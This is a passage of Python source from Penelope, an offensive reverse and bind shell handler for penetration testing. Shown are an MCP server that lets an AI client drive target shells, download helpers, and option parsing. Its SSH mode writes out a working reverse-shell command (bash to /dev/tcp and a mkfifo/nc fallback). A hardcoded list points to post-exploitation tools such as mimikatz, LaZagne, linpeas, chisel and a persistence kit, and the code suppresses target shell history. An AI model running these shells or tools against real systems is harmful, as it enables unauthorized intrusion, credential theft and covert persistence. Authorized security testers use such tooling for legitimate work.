ValueError('remote_path is required') if not s.agent and not s.has_persistent_shell: return {'error': 'this shell runs each command in a fresh process; ' 'file transfer needs a persistent shell. Run spawn first.'} return {'downloaded': [str(p) for p in s.download(remote)]} raise ValueError(f'unknown tool: {name}') def _jsonrpc(self, req): """Handle one JSON-RPC 2.0 message. Returns a response dict, or None for notifications.""" if not isinstance(req, dict): return {'jsonrpc': '2.0', 'id': None, 'error': {'code': -32600, 'message': 'Invalid Request'}} req_id = req.get('id') method = req.get('method', '') params = req.get('params') or {} if method == 'initialize': want = params.get('protocolVersion') version = want if want in self.PROTOCOL_VERSIONS else self.PROTOCOL_VERSIONS[0] return {'jsonrpc': '2.0', 'id': req_id, 'result': { 'protocolVersion': version, 'capabilities': {'tools': {}}, 'serverInfo': {'name': 'penelope', 'version': '1.0.0'}}} if method == 'tools/list': return {'jsonrpc': '2.0', 'id': req_id, 'result': {'tools': self.TOOLS}} if method == 'tools/call': try: result = self._tool_call(params.get('name'), params.get('arguments') or {}) except ValueError as e: return {'jsonrpc': '2.0', 'id': req_id, 'error': {'code': -32602, 'message': str(e)}} except Exception as e: logger.exception("MCP tool error") return {'jsonrpc': '2.0', 'id': req_id, 'error': {'code': -32603, 'message': f'Internal error: {e}'}} text = f"Error: {result['error']}" if 'error' in result else json.dumps(result, indent=2) if len(text) > self.MAX_OUTPUT: text = text[:self.MAX_OUTPUT] + f"\n...[truncated, {len(text)} bytes total]" return {'jsonrpc': '2.0', 'id': req_id, 'result': {'content': [{'type': 'text', 'text': text}], 'isError': 'error' in result}} if method.startswith('notifications/'): return None if req_id is not None: return {'jsonrpc': '2.0', 'id': req_id, 'error': {'code': -32601, 'message': f'method not found: {method}'}} return None def start(self): """Bind and serve in a background thread; resolves self.port if it was 0. Returns self.""" import hmac from http.server import BaseHTTPRequestHandler try: from http.server import ThreadingHTTPServer except ImportError: # Python 3.6 lacks ThreadingHTTPServer import socketserver from http.server import HTTPServer class ThreadingHTTPServer(socketserver.ThreadingMixIn, HTTPServer): daemon_threads = True block_on_close = False mcp = self class Handler(BaseHTTPRequestHandler): protocol_version = 'HTTP/1.1' def log_message(self, *a): pass def _reply(self, code, payload=b'', ctype='application/json'): self.send_response(code) self.send_header('Content-Length', str(len(payload))) if payload: self.send_header('Content-Type', ctype) self.end_headers() if payload: self.wfile.write(payload) def _authorized(self): origin = self.headers.get('Origin') if origin and not re.match(r'^https?://(127\.0\.0\.1|localhost)(:\d+)?$', origin): return False auth = self.headers.get('Authorization', '') prefix = 'Bearer ' return auth.startswith(prefix) and hmac.compare_digest(auth[len(prefix):], mcp.token) def do_GET(self): self._reply(405) def do_POST(self): if not self._authorized(): return self._reply(401) length = int(self.headers.get('Content-Length') or 0) if length < 0 or length > mcp.MAX_OUTPUT: return self._reply(400) try: req = json.loads(self.rfile.read(length) or b'{}') except json.JSONDecodeError: return self._reply(200, json.dumps( {'jsonrpc': '2.0', 'id': None, 'error': {'code': -32700, 'message': 'Parse error'}}).encode()) if isinstance(req, list): out = [r for r in (mcp._jsonrpc(x) for x in req) if r is not None] payload = json.dumps(out).encode() if out else b'' else: resp = mcp._jsonrpc(req) payload = json.dumps(resp).encode() if resp is not None else b'' self._reply(200 if payload else 202, payload) class _Server(ThreadingHTTPServer): daemon_threads = True def handle_error(self, request, client_address): if not isinstance(sys.exc_info()[1], (ConnectionResetError, BrokenPipeError, ConnectionAbortedError)): super().handle_error(request, client_address) srv = _Server((self.host, self.port), Handler) self.port = srv.server_address[1] threading.Thread(target=srv.serve_forever, daemon=True, name='MCP').start() if self.host not in ('127.0.0.1', 'localhost', '::1') and not self.host.startswith('127.'): logger.warning(f"MCP is bound to {self.host} (non-loopback) and is reachable over the network. " f"Prefer 127.0.0.1 and forward it instead: ssh -L {self.port}:127.0.0.1:{self.port} ") url = f"http://{self.host}:{self.port}/" logger.info(f"MCP server listening on {url}. Register with:") print(f'claude mcp add --transport http penelope {url} --header "Authorization: Bearer {self.token}"') return self def WinResize(num, stack): if core.attached_session is not None and core.attached_session.type == "PTY": core.attached_session.update_pty_size() def custom_excepthook(*args): if len(args) == 1 and hasattr(args[0], 'exc_type'): exc_type, exc_value, exc_traceback = args[0].exc_type, args[0].exc_value, args[0].exc_traceback elif len(args) == 3: exc_type, exc_value, exc_traceback = args else: return try: restore_tty() os.write(sys.stdout.fileno(), b"\x1b[?25h") except (OSError, termios.error): pass print("\n", paint('Oops...').RED, f'{EMOJIS["bug"]}\n', paint().yellow, '─' * 80, sep='') sys.__excepthook__(exc_type, exc_value, exc_traceback) print('─' * 80, f"\n{paint('Penelope version:').red} {paint(__version__).green}") print(f"{paint('Python version:').red} {paint(sys.version).green}") print(f"{paint('System:').red} {paint(platform.version()).green}\n") def get_glob_size(_glob, block_size, dereference=False): _stat = os.stat if dereference else os.lstat from glob import glob from math import ceil def size_on_disk(filepath): try: return ceil(float(_stat(filepath).st_size) / block_size) * block_size except Exception: return 0 total_size = 0 for part in shlex.split(_glob): p = normalize_path(part) for item in (glob(p) or ([p] if os.path.lexists(p) else [])): if os.path.isfile(item): total_size += size_on_disk(item) elif os.path.isdir(item): for root, dirs, files in os.walk(item): for file in files: filepath = os.path.join(root, file) total_size += size_on_disk(filepath) return total_size def _is_within_directory(directory, target): target = os.path.realpath(target) try: return os.path.commonpath([directory]) == os.path.commonpath([directory, target]) except ValueError: return False def safe_tar_extractall(tar, dest, streaming=False, strip_prefixes=None): dest_real = os.path.realpath(dest) orig_extract_member = tar._extract_member extracted = [] def guarded(tarinfo, targetpath, *args, **kwargs): if strip_prefixes: name = tarinfo.name.lstrip("/") for pref in strip_prefixes: if pref and (name == pref or name.startswith(pref + "/")): name = name[len(pref):].lstrip("/") break if not name: return targetpath = os.path.join(dest_real, name) if not _is_within_directory(dest_real, targetpath): logger.error(str(paint("").yellow) + " " + str(paint(f"Refusing unsafe path in archive: {tarinfo.name}").red)) return if not (tarinfo.isreg() or tarinfo.isdir() or tarinfo.issym() or tarinfo.islnk()): logger.error(str(paint("").yellow) + " " + str(paint(f"Refusing special file in archive: {tarinfo.name}").red)) return if tarinfo.issym() or tarinfo.islnk(): base = os.path.dirname(os.path.realpath(targetpath)) if tarinfo.issym() else dest_real link_path = os.path.join(base, tarinfo.linkname) if not _is_within_directory(dest_real, link_path): logger.error(str(paint("").yellow) + " " + str(paint(f"Refusing unsafe link in archive: {tarinfo.name} -> {tarinfo.linkname}").red)) return if streaming: try: os.makedirs(os.path.dirname(targetpath), exist_ok=True) if os.path.lexists(targetpath): os.remove(targetpath) if tarinfo.issym(): os.symlink(tarinfo.linkname, targetpath) else: os.link(link_path, targetpath) except OSError as e: logger.error(str(paint("").yellow) + " " + str(paint(f"Skipping link {tarinfo.name}: {e}").red)) return elif os.path.islink(targetpath): os.remove(targetpath) tarinfo.mode &= ~0o6000 tarinfo.mode |= 0o200 orig_extract_member(tarinfo, targetpath, *args, **kwargs) extracted.append(targetpath) tar._extract_member = guarded import warnings with warnings.catch_warnings(): warnings.simplefilter("ignore", category=DeprecationWarning) tar.extractall(dest) return extracted def windows_zip_script(remote_items, archive_path): payload = base64.b64encode(json.dumps({ 'archive': archive_path, 'paths': remote_items, }).encode()).decode() return dedent(rf''' $ErrorActionPreference = 'Stop' Add-Type -AssemblyName System.IO.Compression Add-Type -AssemblyName System.IO.Compression.FileSystem $payload = ConvertFrom-Json ([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('{payload}'))) $archivePath = [string]$payload.archive $sourcePaths = @($payload.paths | ForEach-Object {{ [string]$_ }}) $archive = $null $roots = New-Object 'System.Collections.Generic.HashSet[string]' ([StringComparer]::OrdinalIgnoreCase) function Add-ZipFile([string]$path, [string]$entryName) {{ $entryName = $entryName.Replace('\', '/') [IO.Compression.ZipFileExtensions]::CreateEntryFromFile( $script:archive, $path, $entryName, [IO.Compression.CompressionLevel]::Optimal ) | Out-Null }} function Add-ZipDirectory([string]$path, [string]$entryRoot) {{ $entryRoot = $entryRoot.Replace('\', '/').TrimEnd('/') $script:archive.CreateEntry($entryRoot + '/') | Out-Null foreach ($child in Get-ChildItem -LiteralPath $path -Force -ErrorAction Stop) {{ $childEntry = $entryRoot + '/' + $child.Name if ($child.PSIsContainer) {{ if (($child.Attributes -band [IO.FileAttributes]::ReparsePoint) -ne 0) {{ $script:archive.CreateEntry($childEntry.Replace('\', '/').TrimEnd('/') + '/') | Out-Null }} else {{ Add-ZipDirectory $child.FullName $childEntry }} }} else {{ Add-ZipFile $child.FullName $childEntry }} }} }} function Resolve-RequestedPath([string]$requestedPath) {{ if ($requestedPath.IndexOfAny([char[]]'*?') -ge 0) {{ $pattern = [Management.Automation.WildcardPattern]::Escape($requestedPath) $pattern = $pattern.Replace('`*', '*').Replace('`?', '?') $items = @(Get-Item -Path $pattern -Force -ErrorAction Stop) if ($items.Count -eq 0) {{ throw "Path did not match any items: $requestedPath" }} return $items }} return @(Get-Item -LiteralPath $requestedPath -Force -ErrorAction Stop) }} try {{ $archive = [IO.Compression.ZipFile]::Open($archivePath, [IO.Compression.ZipArchiveMode]::Create) foreach ($requestedPath in $sourcePaths) {{ foreach ($item in @(Resolve-RequestedPath $requestedPath)) {{ $rootName = $item.Name if ([string]::IsNullOrEmpty($rootName)) {{ $rootName = $item.PSDrive.Name }} if (-not $roots.Add($rootName)) {{ throw "Multiple requested items have the same archive root name: $rootName" }} if ($item.PSIsContainer) {{ Add-ZipDirectory $item.FullName $rootName }} else {{ Add-ZipFile $item.FullName $rootName }} }} }} }} catch {{ Write-Error $_ exit 1 }} finally {{ if ($null -ne $archive) {{ $archive.Dispose() }} }} [Convert]::ToBase64String([IO.File]::ReadAllBytes($archivePath)) Remove-Item -LiteralPath $archivePath -Force ''').strip() + '\n' def url_to_bytes(URL): # URLs with special treatment URL = re.sub( r"https://www.exploit-db.com/exploits/", "https://www.exploit-db.com/download/", URL ) req = Request(URL, headers={'User-Agent': options.useragent}) logger.trace(paint(f"⤓ Downloading URL: {URL}").cyan) ctx = ssl.create_default_context() if options.verify_ssl_cert else ssl._create_unverified_context() while True: try: response = urlopen(req, context=ctx, timeout=options.timeout_short) break except (HTTPError, TimeoutError) as e: logger.error(e) except URLError as e: logger.error(e.reason) if (hasattr(ssl, 'SSLCertVerificationError') and type(e.reason) == ssl.SSLCertVerificationError) or\ (isinstance(e.reason, ssl.SSLError) and "CERTIFICATE_VERIFY_FAILED" in str(e)): answer = ask("Cannot verify SSL Certificate. Download anyway? (y/N): ") if answer.lower() == 'y': # Trust the cert ctx = ssl._create_unverified_context() continue else: answer = ask("Connection error. Try again? (Y/n): ") if answer.lower() == 'n': pass else: continue return None, None filename = response.headers.get_filename() if filename: filename = filename.strip('"') else: url_path = urlsplit(response.geturl()).path path_parts = [part for part in url_path.split('/') if part] filename = unquote(path_parts[-1]) if path_parts else '' filename = os.path.basename((filename or '').replace('\\', '/')) if filename in ('', '.', '..'): filename = f"download_{int(time.time())}" size_header = response.headers.get('Content-Length') try: size = int(size_header) if size_header is not None else None if size is not None and size < 0: raise ValueError except (TypeError, ValueError): logger.warning(f"Invalid Content-Length: {size_header!r}") size = None data = bytearray() pbar = None if size is not None and size > 0: pbar = PBar(size, caption=f" {paint('⤷').softgreen} ", barlen=30, metric=Size, reverse=True) while True: try: chunk = response.read(options.network_buffer_size) if not chunk: break data.extend(chunk) if pbar is not None: pbar.update(len(chunk)) except Exception as e: if pbar is not None: pbar.terminate() logger.error(e) return None, None if pbar is not None: pbar.terminate() return filename, data def check_urls(): from concurrent.futures import ThreadPoolExecutor, as_completed threads = 10 global URLS urls = URLS.values() space_num = len(max(urls, key=len)) all_ok = True def _probe(url): req = Request(url, method="HEAD", headers={'User-Agent': options.useragent}) try: with urlopen(req, timeout=5) as response: return url, response.getcode(), None except HTTPError as e: return url, e.code, None except Exception as e: return url, None, e with ThreadPoolExecutor(threads) as ex: futures = {ex.submit(_probe, url): url for url in urls} for fut in as_completed(futures): url, status_code, err = fut.result() if err is not None: status_code = err all_ok = False elif status_code >= 400: all_ok = False if __name__ == '__main__': color = 'RED' if isinstance(status_code, int) and status_code >= 400 or err else 'GREEN' print(f"{paint(url).cyan}{paint('.').DIM * (space_num - len(url))} => {getattr(paint(status_code), color)}") return all_ok def listener_menu(): if not core.listeners: return False listener_menu.active = True func = lambda: None listener_menu.control_r, listener_menu.control_w = os.pipe() listener_menu.finishing = threading.Event() while True: tty.setraw(sys.stdin) stdout( f"\r\x1b[?25l{paint('➤ ').white} " f"{EMOJIS['home']} {paint('Main Menu').green} (m) " f"{EMOJIS['skull']} {paint('Payloads').magenta} (p) " f"{EMOJIS['refresh']} {paint('Clear').yellow} (Ctrl-L) " f"{EMOJIS['cancel']} {paint('Quit').red} (q/Ctrl-C)\r\n".encode() ) r, _, _ = select([sys.stdin, listener_menu.control_r], [], []) if sys.stdin in r: command = sys.stdin.read(1).lower() if command == 'm': func = menu.show break elif command == 'p': restore_tty() print() for listener in core.listeners.values(): print(listener.payloads(), end='\n\n') elif command == '\x0C': os.system("clear") elif command in ('q', '\x03'): func = core.stop menu.stop = True break stdout(b"\x1b[1A") continue break restore_tty() stdout(b"\x1b[?25h\r") func() for fd_name in ('control_r', 'control_w'): fd = getattr(listener_menu, fd_name, None) if fd is not None: try: os.close(fd) except OSError: pass setattr(listener_menu, fd_name, None) listener_menu.active = False listener_menu.finishing.set() return True def load_rc(): RC = Path(options.basedir / "peneloperc") try: st = os.stat(RC) except FileNotFoundError: RC.touch(mode=0o600) return if st.st_uid not in (os.getuid(), 0) or (st.st_mode & 0o022): logger.error(f"Refusing to load {RC}: writable by others or not owned by you " f"(mode {oct(st.st_mode & 0o777)})") return with open(RC, "r") as rc: exec(rc.read(), globals()) # OPTIONS class Options: log_levels = {"silent":'WARNING', "debug":'DEBUG'} def __init__(self): real_home = Path.home() sudo_user = os.environ.get("SUDO_USER") if sudo_user: real_home = Path(pwd.getpwnam(sudo_user).pw_dir) self.basedir = globals().get('_ephemeral_root') or (real_home / f'.{__program__}') self.default_listener_port = 4444 self.default_bindshell_port = 5555 self.default_fileserver_port = 8000 self.default_interface = "0.0.0.0" self.payloads = False self.no_log = False self.no_disk = False self.no_timestamps = False self.no_colored_timestamps = False self.max_maintain = 5 self.maintain = 1 self.max_sessions = 5 self.single_session = False self.no_attach = False self.no_upgrade = False self.keep_history = False self.debug = False self.dev_mode = False self.latency = .01 self.histlength = 2000 self.timeout_short = 25 self.timeout_long = 60 self.max_open_files = 5 self.verify_ssl_cert = True self.proxy = '' self.upload_chunk_size = 1048576 self.download_chunk_size = 1048576 self.network_buffer_size = 32768 self.download_folder = '' self.escape = {'sequence':b'\x1b[24~', 'key':'F12'} self.logfile = f"{__program__}.log" self.debug_logfile = "debug.log" self.cmd_histfile = 'cmd_history' self.debug_histfile = 'cmd_debug_history' self.useragent = "Wget/1.21.2" self.upload_random_suffix = False self.attach_lines = 20 self.emojis = True self.link_dereference = True self.mcp = False self.mcp_host = '' self.mcp_port = 0 self.mcp_token = '' self.no_bins = '' def __getattribute__(self, option): if option in ("logfile", "debug_logfile", "cmd_histfile", "debug_histfile"): return self.basedir / super().__getattribute__(option) # if option == "basedir": # return Path(super().__getattribute__(option)) return super().__getattribute__(option) def __setattr__(self, option, value): show = logger.error if 'logger' in globals() else lambda x: print(paint(x).red) level = __class__.log_levels.get(option) if level: level = level if value else 'INFO' logging.getLogger(__program__).setLevel(getattr(logging, level)) elif option == 'maintain': if value > self.max_maintain: show(f"Maintain value decreased to the max ({self.max_maintain})") value = self.max_maintain if value < 1: value = 1 #if value == 1: show("Maintain value should be 2 or above") if value > 1 and self.single_session: show("Single Session mode disabled because Maintain is enabled") self.single_session = False if getattr(self, 'max_sessions', 0) and self.max_sessions < value: show(f"Max sessions per host increased to {value} to satisfy Maintain") self.max_sessions = value elif option == 'single_session': if self.maintain > 1 and value: show("Single Session mode disabled because Maintain is enabled") value = False elif option == 'max_sessions': if value < 0: value = 0 if value and value < self.maintain: show(f"Max sessions per host increased to {self.maintain} to satisfy Maintain") value = self.maintain elif option == 'network_buffer_size': _max = (1 << (8 * Messenger.LEN_BYTES)) - 1 - Messenger.TYPE_BYTES - Messenger.STREAM_BYTES if isinstance(value, int) and value > _max: show(f"network_buffer_size capped to {_max} (TLV frame limit)") value = _max elif option == 'no_bins': if value is None: value = [] elif type(value) is str: value = re.split('[^a-zA-Z0-9]+', value) elif option == 'ports': if value is None: value = [None] elif type(value) is str: value = re.split('[^a-zA-Z0-9]+', value) elif option == 'proxy': if not value: os.environ.pop('http_proxy', '') os.environ.pop('https_proxy', '') else: os.environ['http_proxy'] = value os.environ['https_proxy'] = value elif option == 'basedir': value.mkdir(parents=True, exist_ok=True) elif option == 'emojis': global EMOJIS if '_EMOJIS_FULL' in globals(): EMOJIS = _EMOJIS_FULL if value else defaultdict(str) stored_value = self.__dict__.get(option) if option in self.__dict__ and stored_value is not None: new_value_type = type(value).__name__ orig_value_type = type(stored_value).__name__ if new_value_type == orig_value_type: self.__dict__[option] = value else: show(f"Wrong value type for '{option}': Expect <{orig_value_type}>, not <{new_value_type}>") else: self.__dict__[option] = value def main(): ## Command line options parser = ArgumentParser(description="Penelope Shell Handler", add_help=False, formatter_class=lambda prog: HelpFormatter(prog, width=150, max_help_position=40)) parser.add_argument("-p", "--ports", help=f"Ports (comma separated) to listen/connect/serve, depending on -i/-c/-s options\n\ (Default: {options.default_listener_port}/{options.default_bindshell_port}/{options.default_fileserver_port})") parser.add_argument("args", nargs='*', help="Arguments for -s/--serve and SSH reverse shell modes") method = parser.add_argument_group("Reverse or Bind shell?") method.add_argument("-i", "--interface", help="Local interface/IP to listen. (Default: 0.0.0.0)", metavar='') method.add_argument("-c", "--connect", help="Bind shell Host", metavar='') method.add_argument("-j", "--jump", help="Reverse shell jump endpoints", action="append", metavar='') hints = parser.add_argument_group("Hints") hints.add_argument("-a", "--payloads", help="Show sample reverse shell payloads for active Listeners", action="store_true") hints.add_argument("-l", "--interfaces", help="List available network interfaces", action="store_true") hints.add_argument("-h", "--help", action="help", help="show this help message and exit") log = parser.add_argument_group("Session Logging") log.add_argument("-L", "--no-log", help="Disable session log files", action="store_true") log.add_argument("-T", "--no-timestamps", help="Disable timestamps in logs", action="store_true") log.add_argument("-CT", "--no-colored-timestamps", help="Disable colored timestamps in logs", action="store_true") misc = parser.add_argument_group("Misc") misc.add_argument("-M", "--menu", help="Start in the Main Menu", action="store_true") misc.add_argument("-m", "--maintain", help="Keep N sessions per target", type=int, metavar='') misc.add_argument("-S", "--single-session", help="Accommodate only the first created session", action="store_true") misc.add_argument("-ms", "--max-sessions", help="Max active sessions per host (default 5, 0 = reject all new)", type=int, metavar='') misc.add_argument("-C", "--no-attach", help="Do not auto-attach on new sessions", action="store_true") misc.add_argument("-U", "--no-upgrade", help="Disable shell auto-upgrade", action="store_true") misc.add_argument("-H", "--keep-history", help="Keep target shell history (do not set HISTFILE=/dev/null)", action="store_true") misc.add_argument("-O", "--oscp-safe", help="Enable OSCP-safe mode", action="store_true") misc.add_argument("--no-disk", help="Keep all state in RAM (tmpfs); nothing persists to disk", action="store_true") mcp = parser.add_argument_group("MCP") mcp.add_argument("--mcp", help="Enable the MCP server over local HTTP", action="store_true") mcp.add_argument("--mcp-host", help="Host/IP to bind (default: 127.0.0.1)", type=str, metavar='') mcp.add_argument("--mcp-port", help="Port to bind (default: saved port, else a random free port persisted to ~/.penelope/mcp.json)", type=int, metavar='') mcp.add_argument("--mcp-token", help="Bearer token (default: saved token, else auto-generated and persisted)", type=str, metavar='') fileserver = parser.add_argument_group("File server") fileserver.add_argument("-s", "--serve", help="Run HTTP file server mode", action="store_true") fileserver.add_argument("-prefix", "--url-prefix", help="URL path prefix", type=str, metavar='') fileserver.add_argument("-u", "--upload", help="Enable file upload (PUT/POST) to the server", action="store_true") fileserver.add_argument("-ud", "--upload-dir", help="Directory to store uploads (default: CWD)", type=str, metavar='') debug = parser.add_argument_group("Debug") debug.add_argument("-N", "--no-bins", help="Simulate missing binaries on target (comma-separated)", metavar='') debug.add_argument("-v", "--version", help="Print version and exit", action="store_true") debug.add_argument("-d", "--debug", help="Enable debug output", action="store_true") debug.add_argument("-dd", "--dev-mode", help="Enable developer mode", action="store_true") debug.add_argument("-cu", "--check-urls", help="Check hardcoded URLs health and exit", action="store_true") parser.parse_args(None, options) # Modify objects for testing if options.dev_mode: logger.critical("(!) THIS IS DEVELOPER MODE (!)") #stdout_handler.addFilter(lambda record: True if record.levelno != logging.DEBUG else False) #logger.setLevel('DEBUG') #options.max_maintain = 50 #options.no_bins = 'python,python3' if options.oscp_safe: meterpreter.enabled = False traitor.enabled = False ngrok.enabled = False global keyboard_interrupt signal.signal(signal.SIGINT, lambda num, stack: core.stop()) def _terminate(num, stack): core.stop() deadline = time.time() + 3 while core.sessions and time.time() < deadline: time.sleep(0.05) _restore_terminal() os._exit(0) for _signame in ("SIGTERM", "SIGHUP"): _sig = getattr(signal, _signame, None) if _sig is not None: signal.signal(_sig, _terminate) if options.mcp: cfg = MCPServer.load_config() MCPServer( host = options.mcp_host or cfg.get('host') or '127.0.0.1', port = options.mcp_port or cfg.get('port') or 0, token = options.mcp_token or os.environ.get('PENELOPE_MCP_TOKEN') or cfg.get('token'), ).start().save_config() # Show Version if options.version: print(__version__) # Show Interfaces elif options.interfaces: print(Interfaces()) # Check hardcoded URLs elif options.check_urls: signal.signal(signal.SIGINT, signal.SIG_DFL) check_urls() # Main Menu elif options.menu: signal.signal(signal.SIGINT, keyboard_interrupt) menu.show() menu.start() # File Server elif options.serve: for port in options.ports: server = FileServer( *(options.args or (() if options.upload else ('.',))), port=port, host=options.interface, url_prefix=options.url_prefix, upload=options.upload, upload_dir=options.upload_dir ) if server.filemap or server.upload: server.start() else: logger.error("No files to serve") # Reverse shell via SSH elif options.args and options.args[0] == "ssh": if len(options.args) > 1: for port in options.ports: TCPListener(host=options.interface, port=port) options.args.append(f"HOST=$(echo $SSH_CLIENT | cut -d' ' -f1); PORT={port or options.default_listener_port};" f"printf \"(bash >& /dev/tcp/$HOST/$PORT 0>&1) &\"|bash ||" f"printf \"(rm /tmp/_;mkfifo /tmp/_;cat /tmp/_|sh 2>&1|nc $HOST $PORT >/tmp/_) >/dev/null 2>&1 &\"|sh" ) try: if subprocess.run(options.args).returncode == 0: logger.info("SSH command executed!") menu.start() else: core.stop() sys.exit(1) except Exception as e: logger.error(e) # Bind shell elif options.connect: success = False for port in options.ports: if Connect(options.connect, port or options.default_bindshell_port): success = True if not success: sys.exit(1) menu.start() # Reverse Listeners else: for port in options.ports: TCPListener(host=options.interface, port=port, jump=options.jump) if not core.listeners: sys.exit(1) listener_menu() signal.signal(signal.SIGINT, keyboard_interrupt) menu.start() #################### PROGRAM LOGIC #################### # Check Python version if not sys.version_info >= (3, 6): print("(!) Penelope requires Python version 3.6 or higher (!)") sys.exit(1) # Store initial TTY settings try: TTY_NORMAL = termios.tcgetattr(sys.stdin) except (termios.error, ValueError): TTY_NORMAL = None def restore_tty(): if TTY_NORMAL is not None: termios.tcsetattr(sys.stdin, termios.TCSADRAIN, TTY_NORMAL) # Setup for ephemeral mode _ephemeral_root = None _ram = None if '--no-disk' in sys.argv: _ram = Path("/dev/shm") if Path("/dev/shm").is_dir() and os.access("/dev/shm", os.W_OK) else None _ephemeral_root = Path(tempfile.mkdtemp(prefix="penelope-", dir=str(_ram) if _ram else None)) tempfile.tempdir = str(_ephemeral_root) atexit.register(lambda p=_ephemeral_root: shutil.rmtree(p, ignore_errors=True)) # Apply default options options = Options() if _ephemeral_root is not None: options.no_disk = True if _ram is None: print(paint(f"[!] --no-disk: no tmpfs (/dev/shm) on this platform (e.g. macOS); " f"state lives in a temp dir on DISK ({_ephemeral_root}), wiped on exit, but NOT true RAM.").yellow) # Loggers ## Add TRACE logging level TRACE_LEVEL_NUM = 25 logging.addLevelName(TRACE_LEVEL_NUM, "TRACE") logging.TRACE = TRACE_LEVEL_NUM def trace(self, message, *args, **kwargs): if self.isEnabledFor(TRACE_LEVEL_NUM): self._log(TRACE_LEVEL_NUM, message, args, **kwargs) logging.Logger.trace = trace ## Setup Logging Handlers stdout_handler = logging.StreamHandler() stdout_handler.setFormatter(CustomFormatter()) stdout_handler.terminator = '' file_handler = logging.FileHandler(options.logfile) file_handler.setFormatter(CustomFormatter("%(asctime)s %(message)s", "%Y-%m-%d %H:%M:%S")) file_handler.setLevel(logging.INFO) file_handler.terminator = '' debug_file_handler = logging.FileHandler(options.debug_logfile) debug_file_handler.setFormatter(CustomFormatter("%(asctime)s %(message)s")) debug_file_handler.addFilter(lambda record: True if record.levelno == logging.DEBUG else False) debug_file_handler.terminator = '' ## Initialize Loggers logger = logging.getLogger(__program__) logger.addHandler(stdout_handler) logger.addHandler(file_handler) logger.addHandler(debug_file_handler) cmdlogger = logging.getLogger(f"{__program__}_cmd") cmdlogger.setLevel(logging.INFO) cmdlogger.addHandler(stdout_handler) # Set constants myOS = platform.system() DISPLAY = 'DISPLAY' in os.environ TERMINALS = [ 'gnome-terminal', 'mate-terminal', 'qterminal', 'terminator', 'alacritty', 'kitty', 'tilix', 'konsole', 'xfce4-terminal', 'lxterminal', 'urxvt', 'st', 'xterm', 'eterm', 'x-terminal-emulator' ] def terminal_emulator(): candidates = [] if os.environ.get('TERMINAL'): candidates.append(os.environ['TERMINAL']) candidates += ['x-terminal-emulator', 'xdg-terminal-exec', *TERMINALS] return next((term for term in candidates if shutil.which(term)), None) MAX_CMD_PROMPT_LEN = 335 LOG_TIMESTAMP_FMT = "%Y-%m-%d %H:%M:%S: " LINUX_PATH = "/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin" URLS = { 'python_linux_x86_64_glibc':'https://github.com/astral-sh/python-build-standalone/releases/download/20260610/cpython-3.13.14+20260610-x86_64-unknown-linux-gnu-install_only_stripped.tar.gz', 'python_linux_x86_64_musl':'https://github.com/astral-sh/python-build-standalone/releases/download/20260610/cpython-3.13.14+20260610-x86_64-unknown-linux-musl-install_only_stripped.tar.gz', 'python_linux_aarch64_glibc':'https://github.com/astral-sh/python-build-standalone/releases/download/20260610/cpython-3.13.14+20260610-aarch64-unknown-linux-gnu-install_only_stripped.tar.gz', 'python_linux_aarch64_musl':'https://github.com/astral-sh/python-build-standalone/releases/download/20260610/cpython-3.13.14+20260610-aarch64-unknown-linux-musl-install_only_stripped.tar.gz', 'python_macos_x86_64':'https://github.com/astral-sh/python-build-standalone/releases/download/20260610/cpython-3.13.14+20260610-x86_64-apple-darwin-install_only_stripped.tar.gz', 'python_macos_aarch64':'https://github.com/astral-sh/python-build-standalone/releases/download/20260610/cpython-3.13.14+20260610-aarch64-apple-darwin-install_only_stripped.tar.gz', 'linpeas': "https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh", 'winpeas_bat': "https://github.com/peass-ng/PEASS-ng/releases/latest/download/winPEAS.bat", 'winpeas_any': "https://github.com/peass-ng/PEASS-ng/releases/latest/download/winPEASany.exe", 'ncat': "https://raw.githubusercontent.com/andrew-d/static-binaries/master/binaries/linux/x86_64/ncat", 'lse': "https://raw.githubusercontent.com/diego-treitos/linux-smart-enumeration/master/lse.sh", 'powerup': "https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/refs/heads/master/Privesc/PowerUp.ps1", 'deepce': "https://raw.githubusercontent.com/stealthcopter/deepce/refs/heads/main/deepce.sh", 'privesccheck': "https://github.com/itm4n/PrivescCheck/releases/latest/download/PrivescCheck.ps1", 'les': "https://raw.githubusercontent.com/The-Z-Labs/linux-exploit-suggester/refs/heads/master/linux-exploit-suggester.sh", 'ngrok_linux': "https://bin.equinox.io/c/bNyj1mQVY4c/ngrok-v3-stable-linux-amd64.tgz", 'uac_linux': "https://github.com/tclahr/uac/releases/download/v3.2.0/uac-3.2.0.tar.gz", 'linux_procmemdump': "https://raw.githubusercontent.com/tclahr/uac/refs/heads/main/bin/linux/linux_procmemdump.sh", 'traitor_386': "https://github.com/liamg/traitor/releases/latest/download/traitor-386", 'traitor_amd64': "https://github.com/liamg/traitor/releases/latest/download/traitor-amd64", 'traitor_arm64': "https://github.com/liamg/traitor/releases/latest/download/traitor-arm64", 'pspy32': "https://github.com/DominicBreuker/pspy/releases/latest/download/pspy32", 'pspy64': "https://github.com/DominicBreuker/pspy/releases/latest/download/pspy64", 'panix': "https://github.com/Aegrah/PANIX/releases/latest/download/panix.sh", 'chisel_386': "https://github.com/jpillora/chisel/releases/download/v1.11.3/chisel_1.11.3_linux_386.gz", 'chisel_amd64': "https://github.com/jpillora/chisel/releases/download/v1.11.3/chisel_1.11.3_linux_amd64.gz", 'chisel_arm64': "https://github.com/jpillora/chisel/releases/download/v1.11.3/chisel_1.11.3_linux_arm64.gz", 'chisel_win386': "https://github.com/jpillora/chisel/releases/download/v1.11.3/chisel_1.11.3_windows_386.zip", 'chisel_winamd64': "https://github.com/jpillora/chisel/releases/download/v1.11.3/chisel_1.11.3_windows_amd64.zip", 'ligolo_amd64': "https://github.com/nicocha30/ligolo-ng/releases/download/v0.8.3/ligolo-ng_agent_0.8.3_linux_amd64.tar.gz", 'ligolo_arm64': "https://github.com/nicocha30/ligolo-ng/releases/download/v0.8.3/ligolo-ng_agent_0.8.3_linux_arm64.tar.gz", 'ligolo_win64': "https://github.com/nicocha30/ligolo-ng/releases/download/v0.8.3/ligolo-ng_agent_0.8.3_windows_amd64.zip", 'snaffler': "https://github.com/SnaffCon/Snaffler/releases/latest/download/Snaffler.exe", 'lazagne': "https://github.com/AlessandroZ/LaZagne/releases/latest/download/LaZagne.exe", 'mimikatz': "https://github.com/gentilkiwi/mimikatz/releases/latest/download/mimikatz_trunk.zip", 'sharphound': 